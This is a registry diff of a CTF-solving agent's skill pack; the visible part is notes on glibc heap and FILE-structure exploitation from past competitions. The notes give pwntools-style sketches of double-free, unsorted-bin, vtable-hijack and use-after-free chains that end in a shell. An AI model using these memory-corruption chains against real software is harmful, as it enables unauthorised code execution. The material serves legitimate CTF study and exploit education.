ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,285 @@
|
|
|
1
|
+
# CTF Pwn - Heap FILE Structure Attacks
|
|
2
|
+
|
|
3
|
+
> [!WARNING]
|
|
4
|
+
> **LEGACY ENVIRONMENT NOTICE (glibc <= 2.27)**:
|
|
5
|
+
> This document details historical FSOP techniques (2016-2018) targeting glibc 2.23 - 2.27 using `__free_hook` or `_IO_str_jumps`.
|
|
6
|
+
> - **If target runs glibc >= 2.34 (Ubuntu 22.04/24.04+)**: `__free_hook` has been completely eliminated! You **MUST** switch to [heap-techniques.md](heap-techniques.md#house-of-apple-2--fsop-for-glibc-234-0xfun-2026) to utilize **House of Apple 2** (`_IO_wfile_overflow`).
|
|
7
|
+
> - For additional FSOP chains and modern PoCs: refer to [exploit-databases.md](../../references/exploit-databases.md).
|
|
8
|
+
|
|
9
|
+
FILE-structure (_IO_FILE) exploitation for libc 2.23-2.27+: fastbin→stdout vtable hijack, _IO_buf_base null byte overwrites, glibc 2.24+ vtable validation bypass, unsorted-bin attacks on FILE fields, and menu-driven UAF / refcount bugs that land through these FILE primitives. For classical heap attacks (House of *, unlink, tcache, musl), see [heap-techniques.md](heap-techniques.md).
|
|
10
|
+
|
|
11
|
+
## Table of Contents
|
|
12
|
+
- [Fastbin stdout Vtable Two-Stage Hijack for PIE + Full RELRO (ASIS CTF 2017)](#fastbin-stdout-vtable-two-stage-hijack-for-pie--full-relro-asis-ctf-2017)
|
|
13
|
+
- [_IO_buf_base Null Byte Overwrite for stdin Hijack (Tokyo Westerns 2017)](#_io_buf_base-null-byte-overwrite-for-stdin-hijack-tokyo-westerns-2017)
|
|
14
|
+
- [glibc 2.24+ _IO_FILE Vtable Validation Bypass (HITCON 2017)](#glibc-224-_io_file-vtable-validation-bypass-hitcon-2017)
|
|
15
|
+
- [Unsorted Bin Attack on stdin _IO_buf_end (HITCON 2017)](#unsorted-bin-attack-on-stdin-_io_buf_end-hitcon-2017)
|
|
16
|
+
- [Unsorted Bin Corruption via mp_ Structure (HITCON 2017)](#unsorted-bin-corruption-via-mp_-structure-hitcon-2017)
|
|
17
|
+
- [realloc(ptr, 0) as free() for UAF (AceBear 2018)](#reallocptr-0-as-free-for-uaf-acebear-2018)
|
|
18
|
+
- [Single-Byte Reference Counter Wraparound to UAF (WhiteHat Grand Prix 2018)](#single-byte-reference-counter-wraparound-to-uaf-whitehat-grand-prix-2018)
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## Fastbin stdout Vtable Two-Stage Hijack for PIE + Full RELRO (ASIS CTF 2017)
|
|
23
|
+
|
|
24
|
+
**Pattern:** When PIE and Full RELRO block GOT overwrite, target libc's stdout FILE structure via fastbin attack, using a two-stage vtable hijack.
|
|
25
|
+
|
|
26
|
+
```python
|
|
27
|
+
from pwn import *
|
|
28
|
+
|
|
29
|
+
# Stage 1: Fastbin double-free targeting fake chunk inside stdout
|
|
30
|
+
# Use 0x7f byte in libc stdout region as fake chunk size (matches 0x70 fastbin)
|
|
31
|
+
fake_chunk_addr = libc.sym['_IO_2_1_stdout_'] + 0x91 # contains 0x7f byte
|
|
32
|
+
|
|
33
|
+
# Double-free in 0x70 fastbin
|
|
34
|
+
alloc_a = malloc(0x60)
|
|
35
|
+
alloc_b = malloc(0x60)
|
|
36
|
+
free(alloc_a)
|
|
37
|
+
free(alloc_b)
|
|
38
|
+
free(alloc_a) # double-free: fastbin 0x70 = [a -> b -> a]
|
|
39
|
+
|
|
40
|
+
# Redirect fastbin to stdout region
|
|
41
|
+
malloc(0x60, p64(fake_chunk_addr)) # a's fd -> fake chunk in stdout
|
|
42
|
+
malloc(0x60) # returns b
|
|
43
|
+
malloc(0x60) # returns a again
|
|
44
|
+
|
|
45
|
+
# Stage 2a: First vtable overwrite → gets()
|
|
46
|
+
# rdi points to stdout struct, so gets(stdout) reads input into stdout
|
|
47
|
+
fake_stdout_chunk = malloc(0x60) # returns fake chunk overlapping stdout
|
|
48
|
+
write_to(fake_stdout_chunk, p64(gets_addr)) # vtable → gets
|
|
49
|
+
|
|
50
|
+
# Stage 2b: gets() overwrites stdout vtable again → system()
|
|
51
|
+
# Next puts() call triggers: vtable lookup → gets(stdout)
|
|
52
|
+
# gets() reads from stdin into the stdout struct, overwriting vtable again
|
|
53
|
+
# Input: "1\x80;/bin/sh;" — new vtable points to system()
|
|
54
|
+
# After gets() returns, next output call triggers system()
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
**Key insight:** The 0x7f byte naturally present in libc's stdout region satisfies fastbin size validation for the 0x70 bin. Two-stage hijack: first redirect vtable to `gets()` (since rdi=stdout FILE*), then `gets()` reads a second vtable pointing to `system()` along with the command string. This technique works even with PIE + Full RELRO because it targets libc's writable data segment, not the GOT.
|
|
58
|
+
|
|
59
|
+
**When to recognize:** Challenge has PIE + Full RELRO, with a heap UAF or double-free. The 0x7f byte in libc's FILE structures is a universal fastbin target. Check `_IO_2_1_stdout_` region for 0x7f bytes at aligned offsets suitable as fake chunk sizes.
|
|
60
|
+
|
|
61
|
+
**References:** ASIS CTF 2017
|
|
62
|
+
|
|
63
|
+
---
|
|
64
|
+
|
|
65
|
+
## _IO_buf_base Null Byte Overwrite for stdin Hijack (Tokyo Westerns 2017)
|
|
66
|
+
|
|
67
|
+
**Pattern:** A null-byte (off-by-one) heap overflow corrupts the least significant byte of `_IO_buf_base` in stdin's `_IO_FILE` structure. This redirects the stdin input buffer pointer to `_short_buf` — a small internal buffer that lies within the FILE struct itself. Subsequent `scanf`/`fgets` calls then write attacker input directly into the FILE structure, enabling overwrite of `_IO_buf_base`/`_IO_buf_end` to arbitrary addresses for a full write primitive.
|
|
68
|
+
|
|
69
|
+
**How it works:**
|
|
70
|
+
```c
|
|
71
|
+
// Null byte overwrite targets _IO_buf_base's LSB
|
|
72
|
+
// Before: _IO_buf_base = 0x7f...XX00 (points to heap input buffer)
|
|
73
|
+
// After: _IO_buf_base = 0x7f...0000 (points into FILE struct itself,
|
|
74
|
+
// landing near _short_buf)
|
|
75
|
+
// Next scanf() / fgets() reads input into the FILE struct
|
|
76
|
+
// Overwrite _IO_buf_base/_IO_buf_end fields with arbitrary addresses
|
|
77
|
+
// Now stdin reads from attacker-controlled memory address
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
**Exploitation chain:**
|
|
81
|
+
```python
|
|
82
|
+
# 1. Arrange heap: allocation immediately before stdin's _IO_buf_base
|
|
83
|
+
# (requires heap grooming so chunk is adjacent to FILE struct)
|
|
84
|
+
|
|
85
|
+
# 2. Null-byte overflow: write one 0x00 byte past chunk boundary
|
|
86
|
+
# → corrupts _IO_buf_base LSB → points into FILE struct
|
|
87
|
+
|
|
88
|
+
# 3. Next read (scanf/fgets): input written into FILE struct fields
|
|
89
|
+
# → overwrite _IO_buf_base = target_addr, _IO_buf_end = target_addr + size
|
|
90
|
+
|
|
91
|
+
# 4. Next read: stdin reads from target_addr → arbitrary write primitive
|
|
92
|
+
# → overwrite __free_hook with system() or one_gadget
|
|
93
|
+
|
|
94
|
+
# 5. Trigger: call a function that invokes free() with a controlled pointer
|
|
95
|
+
# → system("/bin/sh")
|
|
96
|
+
```
|
|
97
|
+
|
|
98
|
+
**Key insight:** Null-byte overflow into stdin's `_IO_buf_base` relocates the input buffer into the FILE structure itself, providing arbitrary write via standard I/O functions. The `_short_buf` field within the FILE struct is the natural landing target when the LSB is zeroed.
|
|
99
|
+
|
|
100
|
+
**References:** Tokyo Westerns CTF 2017
|
|
101
|
+
|
|
102
|
+
---
|
|
103
|
+
|
|
104
|
+
## glibc 2.24+ _IO_FILE Vtable Validation Bypass (HITCON 2017)
|
|
105
|
+
|
|
106
|
+
**Pattern:** glibc 2.24+ validates vtable pointers against the `_IO_vtables` section, rejecting pointers outside that range. Bypass: use unchecked sub-function entries reachable via two-hop dereference. Arrange two heap pointers 0x10 bytes apart (via unsorted bin fd/bk). The first pointer is set to `valid_vtable_addr - 0x18`; the second to `system()`. `_IO_flush_all_lockp` dereferences `*(addr + 0xd8) + 0x18`, landing in an unchecked sub-function that calls `*(addr + 0xe8)`.
|
|
107
|
+
|
|
108
|
+
**How the two-hop bypass works:**
|
|
109
|
+
```c
|
|
110
|
+
// _IO_flush_all_lockp calls:
|
|
111
|
+
// fp->vtable->_IO_overflow(fp)
|
|
112
|
+
// With a valid vtable addr but offset trick:
|
|
113
|
+
// vtable[offset] → points to sub-function outside vtable validation
|
|
114
|
+
// sub-function dereferences further → calls system()
|
|
115
|
+
|
|
116
|
+
// Heap layout using unsorted bin fd/bk (0x10 apart):
|
|
117
|
+
// [heap + 0x00]: valid_vtable_addr - 0x18 (passes vtable check at offset 0xd8)
|
|
118
|
+
// [heap + 0x10]: system() (called via *(addr + 0xe8) dereference)
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
**Setup:**
|
|
122
|
+
```python
|
|
123
|
+
# Place two pointers 0x10 apart using unsorted bin fd/bk as write targets
|
|
124
|
+
# unsorted bin attack: write main_arena+88 to target, leak heap/libc
|
|
125
|
+
# Craft FILE struct with _flags = " sh\x00" for system() argument
|
|
126
|
+
# Trigger exit() → _IO_flush_all_lockp → two-hop call → system("sh")
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
**Key insight:** Vtable validation checks the address range but not indirect entries reachable via sub-functions — two-hop call chains bypass `__IO_vtable_check`. The fd/bk pointers of a chunk in the unsorted bin sit exactly 0x10 bytes apart, making them natural targets for the two adjacent pointer slots needed.
|
|
130
|
+
|
|
131
|
+
**References:** HITCON CTF 2017
|
|
132
|
+
|
|
133
|
+
---
|
|
134
|
+
|
|
135
|
+
## Unsorted Bin Attack on stdin _IO_buf_end (HITCON 2017)
|
|
136
|
+
|
|
137
|
+
**Pattern:** An off-by-one NULL byte creates overlapping heap chunks. Free into the unsorted bin, then use the unsorted bin attack (corrupting `bk` of an unsorted bin chunk) to overwrite `_IO_buf_end` of stdin's FILE structure with a large libc address (main_arena+88). The next `scanf` call then reads attacker data into libc's stdin buffer region — enabling overwrite of `__malloc_hook` with a one_gadget.
|
|
138
|
+
|
|
139
|
+
**Exploit chain:**
|
|
140
|
+
```python
|
|
141
|
+
# 1. Off-by-one NULL: corrupt next chunk's PREV_INUSE, set prev_size
|
|
142
|
+
# → create overlapping chunks via heap consolidation
|
|
143
|
+
|
|
144
|
+
# 2. Free victim into unsorted bin
|
|
145
|
+
# → victim->fd = main_arena+88, victim->bk = main_arena+96
|
|
146
|
+
|
|
147
|
+
# 3. Unsorted bin attack: set victim->bk = &stdin._IO_buf_end - 0x10
|
|
148
|
+
# When malloc() removes victim from unsorted bin:
|
|
149
|
+
# → victim->bk->fd = victim (writes heap address → _IO_buf_end)
|
|
150
|
+
# But for full attack: set bk = &target - 0x10 to write main_arena+88 there
|
|
151
|
+
|
|
152
|
+
# 4. stdin._IO_buf_end is now a large value → next scanf reads huge input
|
|
153
|
+
# → attacker data written into libc stdin buffer region
|
|
154
|
+
# → __malloc_hook in that region gets overwritten with one_gadget
|
|
155
|
+
|
|
156
|
+
# 5. Trigger: any malloc() call → __malloc_hook → one_gadget → shell
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
**Key insight:** Unsorted bin attack on `_IO_buf_end` causes `scanf` to read from an attacker-controlled buffer region inside libc's data segment. Since `__malloc_hook` resides near the stdin buffer in libc, a single large read can overwrite it with a one_gadget address.
|
|
160
|
+
|
|
161
|
+
**References:** HITCON CTF 2017
|
|
162
|
+
|
|
163
|
+
---
|
|
164
|
+
|
|
165
|
+
## Unsorted Bin Corruption via mp_ Structure (HITCON 2017)
|
|
166
|
+
|
|
167
|
+
**Pattern:** glibc's `mp_` (`malloc_par`) global structure lies near the unsorted bin in libc's data segment. A heap overflow combined with unsorted bin corruption overwrites `mp_->bk` with an address inside `mp_`. The `mp_` structure contains fields that, when interpreted as a free chunk header, pass unsorted bin validation (`size < system_mem`). Allocating from this "chunk" grants write access inside `mp_`, enabling overwrite of `__malloc_hook`. Requires partial ASLR brute-force (1/16 chance) for the heap address alignment.
|
|
168
|
+
|
|
169
|
+
**Why mp_ works:**
|
|
170
|
+
```c
|
|
171
|
+
// mp_ layout (glibc 2.23, near unsorted bin in libc BSS):
|
|
172
|
+
// struct malloc_par {
|
|
173
|
+
// unsigned long trim_threshold; // offset 0x00 — large value, passes size check
|
|
174
|
+
// unsigned long top_pad; // offset 0x08
|
|
175
|
+
// ...
|
|
176
|
+
// unsigned long system_mem; // offset 0x48 — must be > fake chunk size
|
|
177
|
+
// };
|
|
178
|
+
// mp_.trim_threshold interpreted as chunk size → satisfies unsorted bin checks
|
|
179
|
+
// malloc from mp_-as-chunk returns memory overlapping mp_ fields
|
|
180
|
+
// Write __malloc_hook offset within mp_ → control next malloc → one_gadget
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
**Exploitation:**
|
|
184
|
+
```python
|
|
185
|
+
# Heap overflow: corrupt unsorted bin chunk's bk to point into mp_
|
|
186
|
+
corrupted_bk = mp_addr + FAKE_CHUNK_OFFSET # offset where size field looks valid
|
|
187
|
+
|
|
188
|
+
# Trigger unsorted bin traversal: malloc() of appropriate size
|
|
189
|
+
# → unsorted bin unlinks fake chunk at mp_
|
|
190
|
+
# → returns pointer into mp_ data
|
|
191
|
+
# Write one_gadget to __malloc_hook offset within returned chunk
|
|
192
|
+
malloc(size) # returns mp_+0x10
|
|
193
|
+
write_to_result(one_gadget) # overwrites __malloc_hook
|
|
194
|
+
|
|
195
|
+
# Trigger: next malloc() → __malloc_hook → one_gadget → shell
|
|
196
|
+
```
|
|
197
|
+
|
|
198
|
+
**Key insight:** glibc's `mp_` global structure passes unsorted bin validation naturally — its `trim_threshold` field serves as a convincing fake chunk size. A fake free chunk planted via unsorted bin corruption there enables allocation directly into glibc metadata, bypassing the need for any heap-side fake chunk construction.
|
|
199
|
+
|
|
200
|
+
**References:** HITCON CTF 2017
|
|
201
|
+
|
|
202
|
+
---
|
|
203
|
+
|
|
204
|
+
## realloc(ptr, 0) as free() for UAF (AceBear 2018)
|
|
205
|
+
|
|
206
|
+
**Pattern:** `realloc(ptr, 0)` behaves like `free(ptr)` in many glibc versions, returning the chunk to the freelist while the application may retain the old pointer — creating a use-after-free.
|
|
207
|
+
|
|
208
|
+
**How it works:**
|
|
209
|
+
```c
|
|
210
|
+
// C standard says realloc(ptr, 0) is implementation-defined
|
|
211
|
+
// In glibc: realloc(ptr, 0) calls free(ptr) and returns NULL
|
|
212
|
+
// If the application doesn't check the return value:
|
|
213
|
+
void *ptr = malloc(0x80);
|
|
214
|
+
ptr = realloc(ptr, 0); // ptr is now NULL, chunk is freed
|
|
215
|
+
// But if the app stores the old pointer separately:
|
|
216
|
+
void *saved = ptr;
|
|
217
|
+
ptr = realloc(ptr, 0); // freed, but saved still points to freed chunk
|
|
218
|
+
// saved is now a dangling pointer → UAF
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
**Exploitation:**
|
|
222
|
+
```python
|
|
223
|
+
from pwn import *
|
|
224
|
+
|
|
225
|
+
# Step 1: Allocate a chunk
|
|
226
|
+
add(0, 0x80, b"AAAA") # chunk at index 0
|
|
227
|
+
|
|
228
|
+
# Step 2: Trigger realloc with size 0
|
|
229
|
+
# Internally calls realloc(ptr, 0) which frees the chunk
|
|
230
|
+
edit(0, size=0) # realloc(ptr, 0) = free(ptr)
|
|
231
|
+
# ptr is now freed but the application still holds the pointer at index 0
|
|
232
|
+
|
|
233
|
+
# Step 3: Allocate new chunk that reuses the freed memory
|
|
234
|
+
add(1, 0x80, b"BBBB") # gets the same address as freed chunk
|
|
235
|
+
|
|
236
|
+
# Step 4: Read through original index 0 → reads attacker-controlled data from index 1
|
|
237
|
+
# Or: write through index 0 to corrupt index 1's chunk
|
|
238
|
+
view(0) # UAF read — sees "BBBB" written by index 1
|
|
239
|
+
```
|
|
240
|
+
|
|
241
|
+
**Tcache variant (glibc 2.26+):**
|
|
242
|
+
```python
|
|
243
|
+
# realloc(ptr, 0) puts the chunk in the tcache bin
|
|
244
|
+
# Subsequent malloc of the same size returns the same chunk
|
|
245
|
+
# Double reference enables tcache poisoning:
|
|
246
|
+
|
|
247
|
+
add(0, 0x80, b"AAAA")
|
|
248
|
+
edit(0, size=0) # free via realloc → tcache[0x90]
|
|
249
|
+
add(1, 0x80, p64(target)) # reuse freed chunk, write fake fd pointer
|
|
250
|
+
# If index 0 still references the chunk:
|
|
251
|
+
edit(0, size=0) # double-free via realloc → tcache poisoning
|
|
252
|
+
add(2, 0x80, b"CCCC") # returns freed chunk
|
|
253
|
+
add(3, 0x80, payload) # returns target address → arbitrary write
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
**Key insight:** `realloc(ptr, 0)` is implementation-defined. In glibc, it frees the block and returns NULL. If the application doesn't check the return value or still uses the old pointer, this creates a UAF. Look for `realloc` calls where the size parameter is user-controlled — setting it to 0 triggers the free behavior without going through the application's normal delete/free path, potentially bypassing reference counting or pointer nullification in the delete handler.
|
|
257
|
+
|
|
258
|
+
**When to recognize:** Challenge uses `realloc` for resize operations and the size is user-controlled. The "edit" or "resize" functionality internally calls `realloc` — check if size=0 is handled specially or just passed through. Also check if the return value of `realloc` is used to update the stored pointer (if not, the old pointer becomes dangling).
|
|
259
|
+
|
|
260
|
+
**References:** AceBear 2018
|
|
261
|
+
|
|
262
|
+
---
|
|
263
|
+
|
|
264
|
+
## Single-Byte Reference Counter Wraparound to UAF (WhiteHat Grand Prix 2018)
|
|
265
|
+
|
|
266
|
+
**Pattern:** A struct stores its own reference count in a `uint8_t` field. The object is freed only when `refcount == 0`, but because the counter wraps at 256, calling the `addref()` path 256 times brings `refcount` back to zero while every outstanding handle still holds a live pointer. The next call to `release()` frees the object — all other handles become dangling.
|
|
267
|
+
|
|
268
|
+
**Exploit sketch:**
|
|
269
|
+
```c
|
|
270
|
+
struct Book {
|
|
271
|
+
uint8_t refcount; // 1 byte — vulnerable
|
|
272
|
+
char title[32];
|
|
273
|
+
void (*read)(struct Book*);
|
|
274
|
+
};
|
|
275
|
+
|
|
276
|
+
// 1. create(h0) refcount = 1
|
|
277
|
+
// 2. dup(h0) → h1 ... h256 refcount wraps 1 → 2 → ... → 0
|
|
278
|
+
// 3. release(h1) refcount = 255 (underflow) → object freed
|
|
279
|
+
// 4. Heap reallocation fills the same chunk with attacker data
|
|
280
|
+
// 5. read(h0) calls attacker-controlled vtable pointer
|
|
281
|
+
```
|
|
282
|
+
|
|
283
|
+
**Key insight:** Any counter that guards lifetime must be wide enough to exceed the number of handles the program can create in one session. `uint8_t` refcounts are always a red flag — verify that the `addref` path either saturates (stays at 255) or uses a wider type. The exploit only needs 256 `addref` calls and one extra `release`, so even heavily rate-limited handle APIs remain reachable.
|
|
284
|
+
|
|
285
|
+
**References:** WhiteHat Grand Prix 2018 — writeup 10809
|
|
@@ -0,0 +1,333 @@
|
|
|
1
|
+
# Heap Exploitation Techniques (Part 2)
|
|
2
|
+
|
|
3
|
+
Continuation of [heap-techniques.md](heap-techniques.md). Part 2 collects CTF-specific UAF, tcache, and custom-allocator variants drawn from individual writeups.
|
|
4
|
+
|
|
5
|
+
## Table of Contents
|
|
6
|
+
- [UAF Vtable Pointer Encoding Shell Argument (BCTF 2017)](#uaf-vtable-pointer-encoding-shell-argument-bctf-2017)
|
|
7
|
+
- [Uninitialized Chunk Residue Pointer Leak (picoCTF 2018)](#uninitialized-chunk-residue-pointer-leak-picoctf-2018)
|
|
8
|
+
- [tcache strcpy Null-Byte Overflow + Backward Consolidation (HITCON 2018)](#tcache-strcpy-null-byte-overflow--backward-consolidation-hitcon-2018)
|
|
9
|
+
- [Adjacent-Struct fn-Pointer Overflow for Libc Leak + GOT Overwrite (RITSEC 2018)](#adjacent-struct-fn-pointer-overflow-for-libc-leak--got-overwrite-ritsec-2018)
|
|
10
|
+
- [Hidden Menu Option 1337 for Tcache Poisoning (FireShell 2019)](#hidden-menu-option-1337-for-tcache-poisoning-fireshell-2019)
|
|
11
|
+
- [Tcache Double-Free + Fake _IO_FILE Vtable Stdout Hijack (BCTF 2018)](#tcache-double-free--fake-_io_file-vtable-stdout-hijack-bctf-2018)
|
|
12
|
+
- [Tcache-to-Fastbin Promotion Cross-Bin Attack (BCTF 2018)](#tcache-to-fastbin-promotion-cross-bin-attack-bctf-2018)
|
|
13
|
+
- [6-Bit Index OOB + written_bytes Accumulator for Fn-Pointer Increment (Codegate 2019)](#6-bit-index-oob--written_bytes-accumulator-for-fn-pointer-increment-codegate-2019)
|
|
14
|
+
- [IS_MMAPED Bit-Flip for Unsorted Bin Leak on Calloc'd Chunk (0CTF 2017)](#is_mmaped-bit-flip-for-unsorted-bin-leak-on-callocd-chunk-0ctf-2017)
|
|
15
|
+
- [Filename-Regex-Constrained Fastbin via LSB-Only Heap Pointer Overwrite (BSidesSF 2019)](#filename-regex-constrained-fastbin-via-lsb-only-heap-pointer-overwrite-bsidessf-2019)
|
|
16
|
+
- [Custom Allocator Unsafe Unlink to GOT (DEF CON Qualifier 2014)](#custom-allocator-unsafe-unlink-to-got-def-con-qualifier-2014)
|
|
17
|
+
|
|
18
|
+
For FILE-structure (_IO_FILE) exploitation see [heap-fsop.md](heap-fsop.md). For the foundational houses (Apple 2, Einherjar, Orange, Spirit, Lore, Force), unsafe unlink, tcache stashing, and musl, see [heap-techniques.md](heap-techniques.md).
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## UAF Vtable Pointer Encoding Shell Argument (BCTF 2017)
|
|
23
|
+
|
|
24
|
+
**Pattern:** After UAF, heap spray fills memory with `system()` addresses at a 3-byte offset. The vtable pointer address `0x??006873` encodes ASCII `"sh\x00"` at the object start, so calling `system()` through the vtable executes `system("sh")`.
|
|
25
